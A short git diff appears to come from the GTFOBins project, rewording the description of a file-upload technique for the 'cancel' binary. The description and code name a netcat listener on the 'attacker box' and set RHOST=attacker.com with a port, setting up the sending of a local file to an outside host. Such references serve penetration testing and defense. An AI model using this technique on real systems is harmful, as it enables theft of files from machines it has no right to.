diff --git a/_gtfobins/cancel.md b/_gtfobins/cancel.md
index ec4cb47..8cfaec8 100644
--- a/_gtfobins/cancel.md
+++ b/_gtfobins/cancel.md
@@ -1,7 +1,7 @@
 ---
 functions:
   file-upload:
-    - description: Send contents of a file to a TCP port. Run `nc -nlvp $RPORT > "file to save"` on the attacker system to capture the contents.
+    - description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
       code: |
         RHOST=attacker.com
         RPORT=12345